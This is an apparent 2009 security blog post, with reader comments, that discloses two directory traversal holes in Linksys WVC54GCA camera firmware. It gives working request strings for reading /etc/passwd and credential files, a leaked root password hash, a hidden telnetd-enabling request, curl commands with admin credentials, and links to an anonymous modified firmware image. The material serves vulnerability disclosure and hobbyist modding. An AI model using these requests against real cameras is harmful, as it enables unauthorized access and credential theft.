Hacking Linksys IP Cameras (pt 3)
Thu, 23 Apr 2009 00:52:28 GMT
This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2).
Unlike the previous two vulnerabilities I released, the vulnerabilities I'm releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else's camera.
Two directory traversal vulnerabilities
Today, instead of releasing just one vulnerability I'll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I'm hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!
Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: /adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected /main.cgi instead.
1st directory traversal hole
It seems that the next_file parameter is not filtered enough when submitted to /adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (/etc/passwd in this case):
/adm/file.cgi?next_file=%2fetc%2fpasswd
/adm/file.cgi?next_file=%2fetc/passwd
/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
#### 2nd directory traversal hole
In the case of the second directory traversal hole, the vulnerable parameter (`this_file`) is not filtered at all whatsoever. So hex-encoding special symbols is _not_ required:
/adm/file.cgi?todo=pwnage&this_file=/etc/passwd
The following is the content of the Linux `passwd` file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening `bin/busybox` with any of the vulnerabilities previously discussed. I'm curious to know if the `passwd` file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:
root:9szj4G6pgOGeA:0:0:root:/root:/bin/shNotice that when exploiting the first vulnerability, we need to convert forward slashes to %2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the next_file parameter. In the third example, we also partially hex-encode ../ sequences in order to avoid being blocked by the script which results in a forbidden error.
Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I'm guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.
Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it's off by default. I haven't managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.
What can we do with these vulnerabilities?
Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:
/etc/passwd: traditional-DES-format password file with no salt/usr/local/www/img/.htpasswd: HTTP credentials stored in cleartext/usr/local/www/adm/.htpasswd: contains same data as previous file/etc/system.conf: all camera settings stored in cleartext including admin password, wifi encryption key, etc .../usr/local/bin/thttpd.conf: web server config file confirming the daemon runs as root, which is the only system account present anyway/etc/init.d/rcS: here we see the line that starts the telnet daemon (/usr/sbin/telnetd) commented out/etc/def_sys.conf: camera's default settings/etc/system.conf: camera's current settings/var/nc.log: network connections logs/etc/group/etc/inittab/proc/cpuinfo: processor details/proc/meminfo/proc/version: OS details/proc/uptime
Finding a file upload vulnerability should allow us to overwrite the /etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the /etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven't discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I'd love to hear the details.
Testing Info
Directory traversal vuln #1 successfully tested on:
- WVC54GCA
- Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)
Directory traversal vuln #2 successfully tested on:
- WVC54GCA
- V1.00R24 (latest available as on 23rd April 2009)
Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.
Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the /main.cgi program rather than /adm/file.cgi.
Archived Comments
gat3wayEven if you find a file upload vulnerability, I doubt that it would be possible to overwrite anything in /etc/init.d (since it's root-owned and I doubt the webserver runs with uid=0/euid=0). Furthermore, AFAIK it's a cramfs filesystem which does not support writes at all.
But probably this could be circumvented by uploading a new modified firmwire somehow?
@gat3way: the web server MUST run as root since 'root' is the only OS account available (see contents of
/etc/passwd file shown in this post).
This can be confirmed by retrieving the contents of /usr/local/bin/thttpd.conf using any of the directory traversal vulnerabilities I just released. Notice the line containing user=root:
# This section overrides defaults
dir=/usr/local/www
#dir=/tmp/www
user=root # default = nobody
#logfile=/var/log/thttpd.log
pidfile=/var/run/thttpd.pid
cgipat=cgi|cfg|sdp|jpg
# This section _documents_ defaults in effect
# port=80
nosymlink # default = !chroot
novhost
# nocgipat
# nothrottles
# host=0.0.0.0
# charset=iso-8859-1The file system is intentionally read-only to simplify its design
I just got this camera (same model) and tested out the vuln. It looks like that all linksys cameras have the same password.
@Ladinu: thanks a lot for testing. That's very useful to know. I wonder if other Linksys camera models different to the WVC54GCA also come with the same root password?
Anyway, I'm now running john against the DES-crypted password. We'll see what is going to come out after the weekend. I'm curious about what default root password did Cisco/Linksys guys choose.
@gat3way: hehe, im curious too. i've had john running for a while, but no luck yet. last password it tried was 'Tr92m3l', so it's tried relatively-complex passwords already. anyways, please post the password if you leave the cracking session for long enough and finally obtain it .
Talked to a friend who had a different model (CIC-930W). The vuln work for this one too. The root password hash is the same.
Hi together,
I've found a way to start the telnet daemon (Firmware V1.00R24).
/adm/file.cgi?inject_telnetdtelnet cam
Trying xxx.xxx.xxx.xxx...
Connected to cam.
Escape character is '^]'.
cam login:
Login timed out after 60 seconds.
Connection closed by foreign host.@Bruno: i cannot replicate the steps you provided, although i can confirm the 'inject_telnetd' string is part of the '/adm/file.cgi' binary. I tried accessing the URL you provided after logging in with the 'admin' account and no luck :(
Am I missing anything?
btw, my john session is still running and still no luck. not sure if gat3way managed to get anywhere with his john session?
@pagvac: I am so sorry. I tried many things that evening and there was a little 'todo=' missing. I could not remember, but I did it again - found it in my brain after thinking a long time - and here comes the uncut howto after a power on (I tried it twice, please confirm):
1. try a telnet connect to the cam like this:
telnet IP-OF-CAM
Trying IP-OF-CAM...
telnet: Unable to connect to remote host: Connection refused
result: not telnetd on cam after power on - thats standard config.
2. type in that url in your browser:
http://IP-OF-CAM/adm/file.cgi?todo=inject_telnetdFile (null) not foundtelnet IP-OF-CAM
Trying IP-OF-CAM...
Connected to IP-OF-CAM.
Escape character is '^]'.
cam login: @Bruno: I can confirm that DOES work. that's a very cool backdoor/debug feature which you have discovered! awesomeness
For anyone interested, Bruno eventually figured out the "telnetd enabling" feature by
1) parsing the strings of the '/adm/file.cgi' binary using any of the directory traversal vulnerabilities I released in this post and
2) trial and error. ie: experimenting with already-known parameters processed by the 'file.cgi' program such as 'todo' (aforementioned in this post)
For instance, you can do the following with curl:
$ curl -s --url "http://192.168.1.115/adm/file.cgi?todo=pwnage&this_file=file.cgi" -u admin:C4mP4ssw0rd | strings | grep -i telnet/usr/sbin/telnetd > /dev/null 2> /dev/null &
<head><title>Open TelnetD</title></head>
<body><p><b><font size=6>Open Telnet Daemon successfully!</font></b></p></body>
inject_telnetd$ file file.cgi
file.cgi: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
It is possible to run something via opening file with "|" at the end?
I used the above to get info about this type of camera off the one I have. Nice work guys! Couple of questions. Has John finished his cogitations yet? Also, how does the camera save its altered config settings if the cramfs file system is read only...? That file must be writable by root surely. The reason I ask is that I want to mod the camera to reduce a motion detection setting (md_sensitivity). The default is ridiculously too sensitive as is widely acknowledged in many forums. I was thinking about trying to recompile the OS using the source off the linksys web site and (with having the learn it...) a cross compiler. However, being able to telnet into the camera as root and simply changing the values (default is 6) of the md sensitivity sounds much easier - providing I have root access (therefore need password) and can actually write to the config file (hence asking about the cramfs file system). Anyone got any thoughts?
I am still running john to get the password still nothing found.
I want the same as what Nick wants reducing the motion sensibility. There should be a firmware around that is dealing with this issue. Version 1.1.0.0 build 2 look at this forum thread. http://forums.linksysbycisco.com/linksys/board/message?board.id=Cameras&thread.id=10525
If I have some luck I will post the password.
Maurice, very interesting information. I saw that thread on the forum when it was in its infancy and there was uncertainty about whether the 1.1 firmware was the newer one. Looks like it is, which makes the lack of its addition to the Linksys download area really odd. If they have decided it is stable enough to put on new retail cameras, it should be stable enough to post on the download area for current owners to use. Most strange. I would recommend everyone contact Linksys to ask them to make it available.
I threw John at the password on a P3 for a week or so with no luck. It was testing 180000 combinations a second and the last passwords were fairly complex. Hence, it appears that the root password is not trivial. Even though this is a "simple" DES password, statistics show that for a good password, you need about 1000 P4s working on it for a year in order to guarantee a crack. Hence, a lot of luck is needed if using a single machine! I do wish you luck though. In the meantime, I recommend everyone who is interested in getting their cameras working better contact Linksys regularly to ask about the new firmware.
Update....
Knew I should have checked the linksys website before posting. The new 1.1 firmware is now available in their support area. It is dated 15th June 2009, which I don't think can be the date it was posted on their site, since I looked several times since then and it was not there (just the older one).
Go get it!!!!
The telnetd-injection is still working with the firmware "1.1.00 build 2". We still need the password.
The revision history told about some security fixing. They disabled the Support of "Setup Wizzard".
A new feature is the proprietary HNAP protocol. You get a xml if you try http://IP-OF-CAM/HNAP1/. Can somebody tell the truth about security of HNAP?
You have a few options remaining to you.
1. Try to get a serial console on your camera. This will void any warranties that you have, because you'll have to open it up. You'll also need to get a suitable level convertor, to convert between the usual RS-232 at 12V, to the TTL signalling expected by the camera at 3V.
The easiest way to do this is to get a CA-42 cellphone cable, which basically provides a USB to TTL serial convertor. You'll also need to identify the pins on the circuit board that are the serial port. Most likely you'll find a 4 or 5 pin header, or possibly an unpopulated header (just the holes). Identify which ones are ground using a multimeter, one will probably be 3V, and the others will be RX and TX.
Once you have a console cable, you will be able to get a shell most likely, because very few manufacturers make you log in on the console.
2. An alternative is to extract the cramfs filesystem from the firmware, mount it via loopback, copy everything off it into a new directory, delete root's password and set up the telnet daemon to start automatically, then rebuild the cramfs and the firmware. Finally, flash your rebuilt firmware onto the camera.
It should not be too difficult to figure out the firmware format, most likely it is the same as that used for the WRT54G and so forth.
No Warenty,. You can Damage your Hardware. Im Not Responsible... you know such stuff .... i compiled the last Firmware (1.00 R24) With telnet enabled and root password: toor
Happy Linuxing :-). I would be happy Hearing from you
Sorry i Forgot the most Important The Link http://rapidshare.com/files/423484428/WVC54GCA.bin
@Rogan Dawes
I have the latest firmware on my WVC54GC v1.1, which says "V1.26, Feb 03, 2008". I've tried to re-pack the filesystem, but no luck. First, I've cut the first part of the firmware file (part1) until the filesystem (fs), then the last part (part2) of it. The filesystem itself is a cramfs file of 1511424 bytes. Info: "Linux Compressed ROM File System data, little endian size 1511424 version #2 sorted_dirs CRC 0x3a60d0db, edition 0, 777 blocks, 288 files"
I've downloaded and compiled cramfs tools from here: http://sourceforge.net/projects/cramfs/ For the fs, cramfsck tools says: "file inode has zero size and non-zero offset"
...and it cannot extract whole of the data (just some of the files).
I've mounted the filesystem as a loop device, copied to another directory, then re-packed it using mkcramfs (I've tried it also without any modifications, just with repacking).
For the created file, file info says: "Linux Compressed ROM File System data, little endian size 1511424 version #2 sorted_dirs CRC 0x1b6023e1, edition 0, 777 blocks, 288 files" Finally, I've copied part1 + fs + part2 together. The file seemed to be correct, but when I've tried to upload it to the webcam, it said after a while: "Error: Upgrade file format error" I think the problem is the original cramfs on the device is somehow a bit modified version, or at least I don't know what "file inode has zero size and non-zero offset" means or how can I make a suitable image for the device. Naturally, the fs begins on a different address in this firmware than the one was mentioned here. Has anybody any idea how to go on?
@LORE, would you be so kind and give us a short howto compile and build the firmware?
That would be very helpful for me.
I found that http://nurds-r-us.blogspot.com/ also was hacking around with this cam, and being curious about both camera's mentioned I donwloaded both GPL source packages. Appearantly, linksys bought the IP from sercomm (sitecom) as their version of the package, albeit 125mb larger (i think toolchain sources are included), is filled with license files indicating that it is in fact, from sercomm.
So the linksys cam is actually a sercomm cam.
I suppose both gpl archives should be buildable and create a working binary that can be flashed.
Browsing through both packages, it seems to all come from cadenux, a ucLinux specialist service.
Strangly, under userland/cron/ is a file called uClinux-dist-20020220.tar.gz (combined with some txt file about it) which probably should be there, and is the cause for the 175mb binary.
Interestingly however is, that the sitecom GPL package has only left some binary object files for certain modules, gpio, led, switch etc, but the linksys version does include these files.
WiFi seems to be binary only for both unfortunatly, though personally i'd prefer a lan only version, ideally PoE.
Just some food for thought.
I installed LORE's image on my WVC54GCA which had the latest official software, and now I have root! cool! But the rapidshare link he posted was no longer valid, here's the one I used:
http://rapidshare.com/files/424551784/WVC54GCA.bin